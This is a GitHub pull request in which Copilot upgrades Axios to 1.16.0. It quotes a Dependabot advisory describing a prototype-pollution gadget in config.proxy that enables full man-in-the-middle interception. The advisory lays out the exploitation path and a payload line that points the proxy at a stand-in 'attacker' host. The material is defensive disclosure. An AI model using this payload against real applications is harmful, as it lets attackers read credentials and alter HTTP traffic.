Upgrade Axios to 1.16.0 to address prototype pollution proxy vulnerability - #63
Open
adrienpessu with Copilot wants to merge 5 commits into
Open
Upgrade Axios to 1.16.0 to address prototype pollution proxy vulnerability#63adrienpessu with Copilot wants to merge 5 commits into
adrienpessu with Copilot wants to merge 5 commits into
Conversation
Copilot
AI
changed the title
[WIP] Fix axios vulnerability to full MITM via prototype pollution
Upgrade Axios to 1.16.0 to address prototype pollution proxy vulnerability
Aug 3, 2026
adrienpessu
marked this pull request as ready for review
August 3, 2026 08:20
…ty hash syntax error
…ty hash syntax error
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Axios 1.15.0 can consume a prototype-polluted
config.proxy, allowing HTTP traffic interception and modification. Version 1.16.0 patches this vulnerability.Changes
Dependency
Reachability Assessment
googleapisthroughgaxios, not Axios.Original prompt
This section details the Dependabot vulnerability alert you should resolve
<alert_title>axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in
config.proxy</alert_title><alert_description># Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in
config.proxySummary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any
Object.prototypepollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.The HTTP adapter at
lib/adapters/http.js:670readsconfig.proxyvia standard property access, which traverses the prototype chain. Becauseproxyis not present in Axios defaults, the merged config object has no ownproxyproperty, making it trivially injectable via prototype pollution. Once injected,setProxy()routes all HTTP requests through the attacker's proxy server.Unlike the
transformResponsegadget (which is constrained byassertOptionsto returntrue), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:
lib/adapters/http.js(config property access on merged object)CWE
CVSS 3.1
Score: 9.4 (Critical)
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:LObject.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodologytransformResponsewhich must returntrueWhy This Bypasses mergeConfig
The critical difference from
transformResponse: theproxyproperty is not in defaults (lib/defaults/index.jsdoes not setproxy). This means:mergeConfigiteratesObject.keys({...defaults, ...userConfig})—proxyis NOT in this setdefaultToConfig2forproxyis never calledproxypropertyhttp.js:670readsconfig.proxy, JavaScript traverses the prototype chainObject.prototype.proxyis found → used bysetProxy()This is a more direct attack path than
transformResponsebecause it doesn't even go throughmergeConfig's merge logic — it completely bypasses it.Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute
Object.prototypevia any other library in the stack (e.g.,qs,minimist,lodash,body-parser), Axios will automatically use the pollutedproxyvalue when making HTTP requests. The developer's code is completely safe — no configuration errors needed.Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
3. The Execution
At
http.js:668-670:setProxy()athttp.js:191-239then: